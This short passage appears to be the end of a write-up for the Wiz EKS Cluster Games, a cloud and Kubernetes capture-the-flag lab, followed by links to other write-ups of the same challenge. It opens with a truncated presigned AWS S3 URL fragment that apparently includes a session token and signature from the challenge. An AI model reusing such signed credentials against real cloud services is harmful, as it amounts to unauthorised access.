%2F7aoJoyHWIpS7SSraJj4UNT6oIlE5l52YHgPxYkrhyc4taGiDzqKY4NVkFSUYZA%2Fx1D96CSdBVpsg1gqv5EOLvKDHDCfY%2Fk27DbKlW1dd1u4yqmokrtP16N4evYbVYnr1iWYsV8vwoATONlr%2BboWyyapNZebFNd6UANXzLml61j%2B1P7G60S5AwqtyzWlqSHEXsKjcawkA2eWvv%2FGz%2Bhcs7Ufaai24WOYOQ8pdGegr6MqeRBbYfziB33gz%2FSJvDdUxDnAx1gPN13JPHmJKo1ThHO3tieYRwEos2aCpOT7AtSbTx0aob9oK4U8nTdej%2FvHR3S%2B0A6QyXg6q%2BpWYsmKDLUg%2FsJ7YfzdSFDCbJnrK%2FJMwQexNmybrKquBVAx1ZF0kU0v6X5BLd5HvicVwrbptlbxwEl74yqStt%2B38RgWK6YEyQGz1QaPYd9ZrslbZOufZfnJm8R09kS%2Bpf12GVt6Rt8h%2FFxvdHhbE9z%2F5UvRX6SKWFpFr7nmQ78sZWswFom5vV8XwnvOI2Yh1%2Bxb3t2rg6jmkozZOYlejqRzxfMGKo9lLX76Toe7%2Frd7UK5Y2zDCktJuvBjqUAaQ1wUbXoeOm24tmu5WNuBtcnz0FkTu2SyCvvQq6NKqZVnmmZHsvQPlq5VyoISmnUOS9jDwW7yYPWsmozHFdRkXviZ097cPbH34wuai3upsugAM8Sw%2FIq67RBKESS3Cqp%2F0ZXEDXd2ZL3ANVTO4zYo3XwNM1BoU8Yb5HEh5TsRQ6UXEXRa%2F9d%2FFcn%2BWhVccVQsNElIQ%3D&X-Amz-Signature=76fcad7fb9811725b660867817faefc92aa701dad6615c01202b4667d379376a
Reference https://zhuanlan.zhihu.com/p/674205305
https://github.com/Esonhugh/WizEKSClusterGame
https://cloud.tencent.com/developer/article/2371571
https://xz.aliyun.com/t/13192
https://wiki.teamssix.com/cloudnative/kubernetes/wiz-eks-cluster-games-wp.html
https://blog.csdn.net/lady_killer9/article/details/135035425
https://tttang.com/archive/1465/